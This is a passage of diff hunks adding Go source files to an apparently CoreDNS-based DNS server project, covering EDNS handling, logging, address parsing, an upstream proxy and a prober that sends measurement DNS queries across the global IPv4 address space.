buf, err := b64Enc.DecodeString(b64)
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
var b64Enc = base64.RawURLEncoding

View File

@@ -0,0 +1,70 @@
// Package edns provides function useful for adding/inspecting OPT records to/in messages.
package edns
import (
"errors"
"github.com/miekg/dns"
"sync"
)
var sup = &supported{m: make(map[uint16]struct{})}
type supported struct {
m map[uint16]struct{}
sync.RWMutex
}
// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call
// this in their setup code to signal support for a new option.
// By default we support:
// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These
// values are not in this map and checked directly in the server.
func SetSupportedOption(option uint16) {
sup.Lock()
sup.m[option] = struct{}{}
sup.Unlock()
}
// SupportedOption returns true if the option code is supported as an extra EDNS0 option.
func SupportedOption(option uint16) bool {
sup.RLock()
_, ok := sup.m[option]
sup.RUnlock()
return ok
}
// Version checks the EDNS version in the request. If error
// is nil everything is OK and we can invoke the plugin. If non-nil, the
// returned Msg is valid to be returned to the client (and should).
func Version(req *dns.Msg) (*dns.Msg, error) {
opt := req.IsEdns0()
if opt == nil {
return nil, nil
}
if opt.Version() == 0 {
return nil, nil
}
m := new(dns.Msg)
m.SetReply(req)
o := new(dns.OPT)
o.Hdr.Name = "."
o.Hdr.Rrtype = dns.TypeOPT
o.SetVersion(0)
m.Rcode = dns.RcodeBadVers
o.SetExtendedRcode(dns.RcodeBadVers)
m.Extra = []dns.RR{o}
return m, errors.New("EDNS0 BADVERS")
}
// Size returns a normalized size based on proto.
func Size(proto string, size uint16) uint16 {
if proto == "tcp" {
return dns.MaxMsgSize
}
if size < dns.MinMsgSize {
return dns.MinMsgSize
}
return size
}

View File

@@ -0,0 +1,39 @@
package http
import (
"encoding/json"
"fmt"
"net/http"
)
// ParseRequest 解析HTTP请求中的URL参数目前仅支持GET方法
func ParseRequest(req *http.Request) (map[string][]string, error) {
switch req.Method {
case http.MethodGet:
return getRequest(req)
case http.MethodPost:
return postRequest(req)
default:
return nil, fmt.Errorf("method not allowed: %s", req.Method)
}
}
func getRequest(req *http.Request) (map[string][]string, error) {
r := make(map[string][]string)
for k, v := range req.URL.Query() {
r[k] = v
}
return r, nil
}
// 支持json方式处理
func postRequest(req *http.Request) (map[string][]string, error) {
r := make(map[string][]string)
decoder := json.NewDecoder(req.Body)
err := decoder.Decode(&r)
if err != nil {
return nil, err
}
return r, nil
}

View File

@@ -0,0 +1,139 @@
package log
import "sync"
// Listener listens for all log prints of plugin loggers aka loggers with plugin name.
// When a plugin logger gets called, it should first call the same method in the Listener object.
// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events.
type Listener interface {
Name() string
Debug(plugin string, v ...interface{})
Debugf(plugin string, format string, v ...interface{})
Info(plugin string, v ...interface{})
Infof(plugin string, format string, v ...interface{})
Warning(plugin string, v ...interface{})
Warningf(plugin string, format string, v ...interface{})
Error(plugin string, v ...interface{})
Errorf(plugin string, format string, v ...interface{})
Fatal(plugin string, v ...interface{})
Fatalf(plugin string, format string, v ...interface{})
}
type listeners struct {
listeners []Listener
sync.RWMutex
}
var ls *listeners
func init() {
ls = &listeners{}
ls.listeners = make([]Listener, 0)
}
// RegisterListener register a listener object.
func RegisterListener(new Listener) error {
ls.Lock()
defer ls.Unlock()
for k, l := range ls.listeners {
if l.Name() == new.Name() {
ls.listeners[k] = new
return nil
}
}
ls.listeners = append(ls.listeners, new)
return nil
}
// DeregisterListener deregister a listener object.
func DeregisterListener(old Listener) error {
ls.Lock()
defer ls.Unlock()
for k, l := range ls.listeners {
if l.Name() == old.Name() {
ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...)
return nil
}
}
return nil
}
func (ls *listeners) debug(plugin string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Debug(plugin, v...)
}
ls.RUnlock()
}
func (ls *listeners) debugf(plugin string, format string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Debugf(plugin, format, v...)
}
ls.RUnlock()
}
func (ls *listeners) info(plugin string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Info(plugin, v...)
}
ls.RUnlock()
}
func (ls *listeners) infof(plugin string, format string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Infof(plugin, format, v...)
}
ls.RUnlock()
}
func (ls *listeners) warning(plugin string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Warning(plugin, v...)
}
ls.RUnlock()
}
func (ls *listeners) warningf(plugin string, format string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Warningf(plugin, format, v...)
}
ls.RUnlock()
}
func (ls *listeners) error(plugin string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Error(plugin, v...)
}
ls.RUnlock()
}
func (ls *listeners) errorf(plugin string, format string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Errorf(plugin, format, v...)
}
ls.RUnlock()
}
func (ls *listeners) fatal(plugin string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Fatal(plugin, v...)
}
ls.RUnlock()
}
func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) {
ls.RLock()
for _, l := range ls.listeners {
l.Fatalf(plugin, format, v...)
}
ls.RUnlock()
}

View File

@@ -0,0 +1,113 @@
// Package log implements a small wrapper around the std lib log package. It
// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING]
// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is
// used.
//
// log.Info("this is some logging"), will log on the Info level.
//
// log.Debug("this is debug output"), will log in the Debug level, etc.
package log
import (
"fmt"
"io"
golog "log"
"os"
"sync"
)
// D controls whether we should output debug logs. If true, we do, once set
// it can not be unset.
var D = &d{}
type d struct {
on bool
sync.RWMutex
}
// Set enables debug logging.
func (d *d) Set() {
d.Lock()
d.on = true
d.Unlock()
}
// Clear disables debug logging.
func (d *d) Clear() {
d.Lock()
d.on = false
d.Unlock()
}
// Value returns if debug logging is enabled.
func (d *d) Value() bool {
d.RLock()
b := d.on
d.RUnlock()
return b
}
// logf calls log.Printf prefixed with level.
func logf(level, format string, v ...interface{}) {
golog.Print(level, fmt.Sprintf(format, v...))
}
// log calls log.Print prefixed with level.
func log(level string, v ...interface{}) {
golog.Print(level, fmt.Sprint(v...))
}
// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something
// if D is true.
func Debug(v ...interface{}) {
if !D.Value() {
return
}
log(debug, v...)
}
// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something
// if D is true.
func Debugf(format string, v ...interface{}) {
if !D.Value() {
return
}
logf(debug, format, v...)
}
// Info is equivalent to log.Print, but prefixed with "[INFO] ".
func Info(v ...interface{}) { log(info, v...) }
// Infof is equivalent to log.Printf, but prefixed with "[INFO] ".
func Infof(format string, v ...interface{}) { logf(info, format, v...) }
// Warning is equivalent to log.Print, but prefixed with "[WARNING] ".
func Warning(v ...interface{}) { log(warning, v...) }
// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ".
func Warningf(format string, v ...interface{}) { logf(warning, format, v...) }
// Error is equivalent to log.Print, but prefixed with "[ERROR] ".
func Error(v ...interface{}) { log(err, v...) }
// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ".
func Errorf(format string, v ...interface{}) { logf(err, format, v...) }
// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling
// os.Exit(1).
func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) }
// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling
// os.Exit(1)
func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) }
// Discard sets the log output to /dev/null.
func Discard() { golog.SetOutput(io.Discard) }
const (
debug = "[DEBUG] "
err = "[ERROR] "
fatal = "[FATAL] "
info = "[INFO] "
warning = "[WARNING] "
)

View File

@@ -0,0 +1,91 @@
package log
import (
"fmt"
"os"
)
// P is a logger that includes the plugin doing the logging.
type P struct {
plugin string
}
// NewWithPlugin returns a logger that includes "plugin/name: " in the log message.
// I.e [INFO] plugin/<name>: message.
func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} }
func (p P) logf(level, format string, v ...interface{}) {
log(level, p.plugin, fmt.Sprintf(format, v...))
}
func (p P) log(level string, v ...interface{}) {
log(level+p.plugin, v...)
}
// Debug logs as log.Debug.
func (p P) Debug(v ...interface{}) {
if !D.Value() {
return
}
ls.debug(p.plugin, v...)
p.log(debug, v...)
}
// Debugf logs as log.Debugf.
func (p P) Debugf(format string, v ...interface{}) {
if !D.Value() {
return
}
ls.debugf(p.plugin, format, v...)
p.logf(debug, format, v...)
}
// Info logs as log.Info.
func (p P) Info(v ...interface{}) {
ls.info(p.plugin, v...)
p.log(info, v...)
}
// Infof logs as log.Infof.
func (p P) Infof(format string, v ...interface{}) {
ls.infof(p.plugin, format, v...)
p.logf(info, format, v...)
}
// Warning logs as log.Warning.
func (p P) Warning(v ...interface{}) {
ls.warning(p.plugin, v...)
p.log(warning, v...)
}
// Warningf logs as log.Warningf.
func (p P) Warningf(format string, v ...interface{}) {
ls.warningf(p.plugin, format, v...)
p.logf(warning, format, v...)
}
// Error logs as log.Error.
func (p P) Error(v ...interface{}) {
ls.error(p.plugin, v...)
p.log(err, v...)
}
// Errorf logs as log.Errorf.
func (p P) Errorf(format string, v ...interface{}) {
ls.errorf(p.plugin, format, v...)
p.logf(err, format, v...)
}
// Fatal logs as log.Fatal and calls os.Exit(1).
func (p P) Fatal(v ...interface{}) {
ls.fatal(p.plugin, v...)
p.log(fatal, v...)
os.Exit(1)
}
// Fatalf logs as log.Fatalf and calls os.Exit(1).
func (p P) Fatalf(format string, v ...interface{}) {
ls.fatalf(p.plugin, format, v...)
p.logf(fatal, format, v...)
os.Exit(1)
}

View File

@@ -0,0 +1,12 @@
package log
import "runtime"
// 获取运行时函数
func RunFuncName() (string, int) {
_, file, line, ok := runtime.Caller(1)
if ok {
return file, line
}
return "null", 0
}

View File

@@ -0,0 +1,19 @@
// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written.
package nonwriter
import "github.com/miekg/dns"
// Writer is a type of ResponseWriter that captures the message, but never writes to the client.
type Writer struct {
dns.ResponseWriter
Msg *dns.Msg
}
// New makes and returns a new NonWriter.
func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} }
// WriteMsg records the message, but doesn't write it itself.
func (w *Writer) WriteMsg(res *dns.Msg) error {
w.Msg = res
return nil
}

View File

@@ -0,0 +1,121 @@
package parse
import (
"errors"
"fmt"
"github.com/miekg/dns"
"net"
"ohmydns2/plugin/pkg/transport"
"os"
"strings"
)
// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed.
var ErrNoNameservers = errors.New("no nameservers found")
// Strips the zone, but preserves any port that comes after the zone
func stripZone(host string) string {
if strings.Contains(host, "%") {
lastPercent := strings.LastIndex(host, "%")
newHost := host[:lastPercent]
return newHost
}
return host
}
// HostPortOrFile parses the strings in s, each string can either be a
// address, [scheme://]address:port or a filename. The address part is checked
// and in case of filename a resolv.conf like file is (assumed) and parsed and
// the nameservers found are returned.
func HostPortOrFile(s ...string) ([]string, error) {
var servers []string
for _, h := range s {
trans, host := Transport(h)
if len(host) == 0 {
return servers, fmt.Errorf("invalid address: %q", h)
}
if trans == transport.UNIX {
servers = append(servers, trans+"://"+host)
continue
}
addr, _, err := net.SplitHostPort(host)
if err != nil {
// Parse didn't work, it is not a addr:port combo
hostNoZone := stripZone(host)
if net.ParseIP(hostNoZone) == nil {
ss, err := tryFile(host)
if err == nil {
servers = append(servers, ss...)
continue
}
return servers, fmt.Errorf("not an IP address or file: %q", host)
}
var ss string
switch trans {
case transport.DNS:
ss = net.JoinHostPort(host, transport.Port)
case transport.TLS:
ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort)
case transport.GRPC:
ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort)
case transport.HTTPS:
ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort)
}
servers = append(servers, ss)
continue
}
if net.ParseIP(stripZone(addr)) == nil {
ss, err := tryFile(host)
if err == nil {
servers = append(servers, ss...)
continue
}
return servers, fmt.Errorf("not an IP address or file: %q", host)
}
servers = append(servers, h)
}
if len(servers) == 0 {
return servers, ErrNoNameservers
}
return servers, nil
}
// Try to open this is a file first.
func tryFile(s string) ([]string, error) {
c, err := dns.ClientConfigFromFile(s)
if err == os.ErrNotExist {
return nil, fmt.Errorf("failed to open file %q: %q", s, err)
} else if err != nil {
return nil, err
}
servers := []string{}
for _, s := range c.Servers {
servers = append(servers, net.JoinHostPort(s, c.Port))
}
return servers, nil
}
// HostPort will check if the host part is a valid IP address, if the
// IP address is valid, but no port is found, defaultPort is added.
func HostPort(s, defaultPort string) (string, error) {
addr, port, err := net.SplitHostPort(s)
if port == "" {
port = defaultPort
}
if err != nil {
if net.ParseIP(s) == nil {
return "", fmt.Errorf("must specify an IP address: `%s'", s)
}
return net.JoinHostPort(s, port), nil
}
if net.ParseIP(addr) == nil {
return "", fmt.Errorf("must specify an IP address: `%s'", addr)
}
return net.JoinHostPort(addr, port), nil
}

View File

@@ -0,0 +1,37 @@
// Package parse contains functions that can be used in the setup code for plugins.
package parse
import (
"fmt"
"github.com/coredns/caddy"
"ohmydns2/plugin/pkg/transport"
)
// TransferIn parses transfer statements: 'transfer from [address...]'.
func TransferIn(c *caddy.Controller) (froms []string, err error) {
if !c.NextArg() {
return nil, c.ArgErr()
}
value := c.Val()
switch value {
default:
return nil, c.Errf("unknown property %s", value)
case "from":
froms = c.RemainingArgs()
if len(froms) == 0 {
return nil, c.ArgErr()
}
for i := range froms {
if froms[i] != "*" {
normalized, err := HostPort(froms[i], transport.Port)
if err != nil {
return nil, err
}
froms[i] = normalized
} else {
return nil, fmt.Errorf("can't use '*' in transfer from")
}
}
}
return froms, nil
}

View File

@@ -0,0 +1,36 @@
package parse
import (
"ohmydns2/plugin/pkg/transport"
"strings"
)
// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议则默认为传输DNS(Do53)
func Transport(s string) (trans string, addr string) {
switch {
case strings.HasPrefix(s, transport.TLS+"://"):
s = s[len(transport.TLS+"://"):]
return transport.TLS, s
case strings.HasPrefix(s, transport.DNS+"://"):
s = s[len(transport.DNS+"://"):]
return transport.DNS, s
case strings.HasPrefix(s, transport.GRPC+"://"):
s = s[len(transport.GRPC+"://"):]
return transport.GRPC, s
case strings.HasPrefix(s, transport.HTTPS+"://"):
s = s[len(transport.HTTPS+"://"):]
return transport.HTTPS, s
case strings.HasPrefix(s, transport.UNIX+"://"):
s = s[len(transport.UNIX+"://"):]
return transport.UNIX, s
case strings.HasPrefix(s, transport.PROBER+"://"):
s = s[len(transport.PROBER+"://"):]
return transport.PROBER, s
}
return transport.DNS, s
}

View File

@@ -0,0 +1,30 @@
package prober
// 配置键值
const (
prange = "range"
ptype = "ptype"
ploop = "loop"
pnet = "netType"
pTimeout = 5
PAddrNum = "addrNum"
Pchain = "pchain"
)
const (
defaultPrange = "global"
defaultPtype = "v64"
defaultTarget = "n64.top"
defaultStartsubv64 = "v4-1"
//defaultMaxGRout = 4000 //默认协程最大运行数
defaultMaxDial = 5
defaultPloop = false
// defaultPnum 提供了一个全球探测的目的地址大致范围
defaultPnum = 4000000000
)
// TODO:实现功能
// 检查输入参数是否有定义0代表一切正常1代表有严重错误无法创建2代表有额外未定义参数但仍可创建
func VaildArgs(args map[string][]string) (string, int) {
return "OK", 0
}

View File

@@ -0,0 +1,150 @@
package prober
import (
"context"
"crypto/tls"
"github.com/miekg/dns"
"github.com/panjf2000/ants/v2"
"math"
"net"
olog "ohmydns2/plugin/pkg/log"
"sync"
)
type Prober struct {
Prange []string `json:"prange"` // 探测范围
Ptype string `json:"ptype"` // 探针类型
AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数
ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数
Pid int `json:"pid"` // 探测器ID
Loop bool `json:"loop"` //是否持续探测
m *sync.Mutex
stop context.CancelFunc // stop信号量
removeFromPGList func() //从探测器列表中删除对应记录
c *dns.Client
}
// 新建探测器
func NewProber(ctx context.Context) *Prober {
p := new(Prober)
//配置探测器
ok := true
if p.Prange, ok = ctx.Value(prange).([]string); !ok {
p.Prange[0] = defaultPrange
}
if p.Ptype, ok = ctx.Value(ptype).(string); !ok {
p.Ptype = defaultPtype
}
if p.Loop, ok = ctx.Value(ploop).(bool); !ok {
p.Loop = defaultPloop
}
if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok {
p.AllAddrNum = defaultPnum
}
// 配置客户端
p.c = &dns.Client{
Timeout: pTimeout,
}
switch ctx.Value(pnet) {
case "tcp":
p.c.Net = "tcp"
case "tcp-tls":
p.c.Net = "tcp-tls"
// TODO:tls配置
p.c.TLSConfig = &tls.Config{}
default:
break
}
return p
}
// Start 探测代码
func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) {
var wg sync.WaitGroup
// 探测轮数
round := 1
if p.Loop {
round = math.MaxInt
}
for {
// 下一轮次的数据
for {
if ip, ok := <-target; ok {
select {
case <-ctx.Done():
// 中途取消
return
default:
err := pool.Submit(p.Probe(ctx, ip, &wg))
if err != nil {
olog.Errorf("prober/Start: %v", err.Error())
return
}
p.addScanAddrNum()
}
} else {
// 一轮扫描完成
round -= 1
// 探测轮数归零,退出
if round == 0 {
err := p.exit()
if err != nil {
return
}
return
}
// 未归零,开始下一轮
break
}
}
}
}
func (p *Prober) Stop() error {
p.stop()
return nil
}
func (p *Prober) exit() error {
p.removeFromPGList()
return nil
}
func (p *Prober) addScanAddrNum() {
// 加锁防止数据错误
p.m.Lock()
p.ScanAddrNum += 1
p.m.Unlock()
}
// Probe 所有探测方法的封装方法
func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() {
msg := new(dns.Msg)
pcf := ctx.Value(Pchain).(*PBConfig)
return func() {
// 将目标IP传入上下文
ctx = context.WithValue(ctx, Target, ip)
_, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg)
wg.Done()
}
}
//func (p *Prober) Probev64(ip net.IP) error {
// msg := new(dns.Msg)
// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT)
// // TODO:展示响应内容
// _, _, err := p.c.Exchange(msg, ip.String()+":53")
// if err != nil {
// return err
// }
// return nil
//}
const (
Paramkey = "httpparam"
Target = "targetip"
)

View File

@@ -0,0 +1,129 @@
package prober
import (
"context"
"crypto/tls"
"fmt"
"net/http"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/request"
"time"
)
// PBConfig configuration for a single prober.
type PBConfig struct {
// one or several hostnames to bind the server to.
// defaults to a single empty string that denote the wildcard address
ListenHosts []string
// The port to listen on.
Port string
// Root points to a base directory we find user defined "things".
// First consumer is the file plugin to looks for zone files in this place.
Root string
// Debug controls the panic/recover mechanism that is enabled by default.
Debug bool
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
Stacktrace bool
// 使用的传输协议目前为HTTP
Transport string
// If this function is not nil it will be used to inspect and validate
// HTTP requests. Although this isn't referenced in-tree, external plugins
// may depend on it.
HTTPRequestValidateFunc func(*http.Request) bool
// FilterFuncs is used to further filter access
// to this handler. E.g. to limit access to a reverse zone
// on a non-octet boundary, i.e. /17
FilterFuncs []FilterFunc
// ViewName is the name of the Viewer PLugin defined in the Config
ViewName string
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
TLSConfig *tls.Config
// Timeouts for TCP, TLS and HTTPS servers.
ReadTimeout time.Duration
WriteTimeout time.Duration
IdleTimeout time.Duration
// TSIG secrets, [name]key.
TsigSecret map[string]string
// Plugin stack.
Plugin []plugin.Pplugin
// Compiled plugin stack.
PluginChain plugin.Prober
// Plugin interested in announcing that they exist, so other plugin can call methods
// on them should register themselves here. The name should be the name as return by the
// Handler's Name method.
registry map[string]plugin.Prober
// FirstConfigInBlock is used to reference the first config in a server block, for the
// purpose of sharing single instance of each plugin among all zones in a server block.
FirstConfigInBlock *PBConfig
// MetaCollector references the first MetadataCollector plugin, if one exists
MetaCollector ProberMetadataCollector
}
// FilterFunc is a function that filters requests from the Config
type FilterFunc func(context.Context, *request.HTTPRequest) bool
// KeyForConfig builds a key for identifying the configs during setup time
func KeyForConfig(blocIndex int, blocKeyIndex int) string {
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
}
// AddPlugin adds a plugin to a site's plugin stack.
func (pc PBConfig) AddPlugin(m plugin.Pplugin) {
pc.Plugin = append(pc.Plugin, m)
}
// registerHandler adds a prober to a site's prober registration.
func (pc PBConfig) RegisterProber(p plugin.Prober) {
if pc.registry == nil {
pc.registry = make(map[string]plugin.Prober)
}
// Just overwrite...
pc.registry[p.Name()] = p
}
// Handler returns the plugin handler that has been added to the config under its name.
// This is useful to inspect if a certain plugin is active in this server.
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
// comes before the plugin you are checking; it will not be there (yet).
func (pc PBConfig) Handler(name string) plugin.Prober {
if pc.registry == nil {
return nil
}
if h, ok := pc.registry[name]; ok {
return h
}
return nil
}
// Handlers returns a slice of plugins that have been registered. This can be used to
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
// comes before the plugin you are checking; it will not be there (yet).
func (pc PBConfig) Handlers() []plugin.Prober {
if pc.registry == nil {
return nil
}
hs := make([]plugin.Prober, 0, len(pc.registry))
for k := range pc.registry {
hs = append(hs, pc.registry[k])
}
return hs
}

View File

@@ -0,0 +1,11 @@
package prober
import (
"context"
"ohmydns2/plugin/pkg/request"
)
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
type ProberMetadataCollector interface {
Collect(context.Context, request.HTTPRequest) context.Context
}

View File

@@ -0,0 +1,96 @@
package prober
import (
"context"
"errors"
"github.com/panjf2000/ants/v2"
"net"
olog "ohmydns2/plugin/pkg/log"
"strconv"
"time"
)
// 探测器和协程状态列表
type ProberAndGoroutList struct {
Pl map[int]*Prober // 探测器
GRPool *ants.Pool
}
// 获取当前正在运行的探测器数量
func (pl *ProberAndGoroutList) GetNum() int {
return len(pl.Pl)
}
// 增加一个探测器,并返回对应的pid
func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string {
//当前时间戳作为探测器ID
t := time.Now().Unix()
//创建一个新的Prober对象
p := NewProber(ctx)
pctx, cancel := context.WithCancel(ctx)
p.stop = cancel
p.Pid = int(t)
p.removeFromPGList = func() {
err := pl.DeleteProberById(p.Pid)
if err != nil {
return
}
}
pl.Pl[int(t)] = p
if p.Prange[0] != defaultPrange {
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype)
} else {
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype)
}
// 开始执行任务
go p.Start(pctx, targetIP, pl.GRPool)
return strconv.Itoa(p.Pid)
}
// 列举所有探测器信息
func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) {
rm := make(map[int]Prober)
for k, v := range pl.Pl {
rm[k] = *v
}
return pl.GetNum(), rm, nil
}
// DeleteProberById 根据探测器ID停止探测任务
func (pl *ProberAndGoroutList) DeleteProberById(pid int) error {
err := pl.Pl[pid].Stop()
delete(pl.Pl, pid)
if err != nil {
panic("can't Stop prober " + strconv.Itoa(pid))
}
return nil
}
// DeleteAllProber 删除所有的运行的探测器底层调用了DeleteProberById
func (pl *ProberAndGoroutList) DeleteAllProber() error {
for k, _ := range pl.Pl {
err := pl.DeleteProberById(k)
if err != nil {
return err
}
}
return nil
}
// DeleteProber 根据探测器对象找到对应探测ID并删除
func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error {
for k, v := range pl.Pl {
if v == p {
err := pl.DeleteProberById(k)
if err != nil {
return err
}
return nil
}
}
olog.Error("未找到该探测器")
return errors.New("not found this prober!!")
}

View File

@@ -0,0 +1,78 @@
package prober
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"ohmydns2/plugin/pkg/log"
"strconv"
"strings"
"github.com/pochard/commons/randstr"
)
// 数字到IP
func uint32toIP4(ipInt uint32) string {
// need to do two bit shifting and “0xff” masking
b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10)
b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10)
b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10)
b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10)
return b0 + "." + b1 + "." + b2 + "." + b3
}
// ip到数字
func ip2Long(ip string) uint32 {
var long uint32
err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long)
if err != nil {
log.Errorf("proberutil/ip2long: %v", err.Error())
return 0
}
return long
}
// 生成可用于IPv4探测的地址
func GenGlobIPv4() chan net.IP {
c := make(chan net.IP)
// 从1.0.0.0开始,到223.255.255.255结束ICANN已分配地址
go func() {
for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ {
ip := net.ParseIP(uint32toIP4(n))
// 地址全球单播且不是私有地址
if ip.IsGlobalUnicast() && !ip.IsPrivate() {
c <- ip
}
}
close(c)
}()
return c
}
// MakeProbe 生成探针的封装
func (p *Prober) makeProbe(ip net.IP) string {
if p.Ptype == defaultPtype {
return MakeProbev64(ip)
}
return ""
}
// 构造v64需要的探针
func MakeProbev64(ip net.IP) string {
ipstr := ip2Eid(ip)
return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget)
}
func MakeTestProbev64(subv64 string, targetzone string) string {
ipstr := ip2Eid(net.ParseIP("0.0.0.0"))
return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone)
}
func ip2Eid(ip net.IP) string {
i := ip.String()
if strings.Contains(i, ":") {
return strings.ReplaceAll(i, ":", "-")
}
return strings.ReplaceAll(i, ".", "-")
}

View File

@@ -0,0 +1,157 @@
package proxy
import (
"context"
"io"
"net"
"ohmydns2/plugin/pkg/request"
"strconv"
"sync/atomic"
"time"
"github.com/miekg/dns"
)
// limitTimeout is a utility function to auto-tune timeout values
// average observed time is moved towards the last observed delay moderated by a weight
// next timeout to use will be the double of the computed average, limited by min and max frame.
func limitTimeout(currentAvg *int64, minValue time.Duration, maxValue time.Duration) time.Duration {
rt := time.Duration(atomic.LoadInt64(currentAvg))
if rt < minValue {
return minValue
}
if rt < maxValue/2 {
return 2 * rt
}
return maxValue
}
func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) {
dt := time.Duration(atomic.LoadInt64(currentAvg))
atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight)
}
func (t *Transport) dialTimeout() time.Duration {
return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout)
}
func (t *Transport) updateDialTimeout(newDialTime time.Duration) {
averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight)
}
// Dial dials the address configured in transport, potentially reusing a connection or creating a new one.
func (t *Transport) Dial(proto string) (*persistConn, bool, error) {
// If tls has been configured; use it.
if t.tlsConfig != nil {
proto = "tcp-tls"
}
t.dial <- proto
pc := <-t.ret
if pc != nil {
ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1)
return pc, true, nil
}
ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1)
reqTime := time.Now()
timeout := t.dialTimeout()
if proto == "tcp-tls" {
conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout)
t.updateDialTimeout(time.Since(reqTime))
return &persistConn{c: conn}, false, err
}
conn, err := dns.DialTimeout(proto, t.addr, timeout)
t.updateDialTimeout(time.Since(reqTime))
return &persistConn{c: conn}, false, err
}
// Connect selects an upstream, sends the request and waits for a response.
func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) {
start := time.Now()
proto := ""
switch {
case opts.ForceTCP: // TCP flag has precedence over UDP flag
proto = "tcp"
case opts.PreferUDP:
proto = "udp"
default:
proto = state.Proto()
}
pc, cached, err := p.transport.Dial(proto)
if err != nil {
return nil, err
}
// Set buffer size correctly for this client.
pc.c.UDPSize = uint16(state.Size())
if pc.c.UDPSize < 512 {
pc.c.UDPSize = 512
}
pc.c.SetWriteDeadline(time.Now().Add(maxTimeout))
// records the origin Id before upstream.
originId := state.Req.Id
state.Req.Id = dns.Id()
defer func() {
state.Req.Id = originId
}()
if err := pc.c.WriteMsg(state.Req); err != nil {
pc.c.Close() // not giving it back
if err == io.EOF && cached {
return nil, ErrCachedClosed
}
return nil, err
}
var ret *dns.Msg
pc.c.SetReadDeadline(time.Now().Add(p.readTimeOut))
for {
ret, err = pc.c.ReadMsg()
if err != nil {
// For UDP, if the error is not a network error keep waiting for a valid response to prevent malformed
// spoofs from blocking the upstream response.
// In the case this is a legitimate malformed response from the upstream, this will result in a timeout.
if proto == "udp" {
if _, ok := err.(net.Error); !ok {
continue
}
}
pc.c.Close() // connection closed by peer, close the persistent connection
if err == io.EOF && cached {
return nil, ErrCachedClosed
}
// recover the origin Id after upstream.
if ret != nil {
ret.Id = originId
}
return ret, err
}
// drop out-of-order responses
if state.Req.Id == ret.Id {
break
}
}
// recovery the origin Id after upstream.
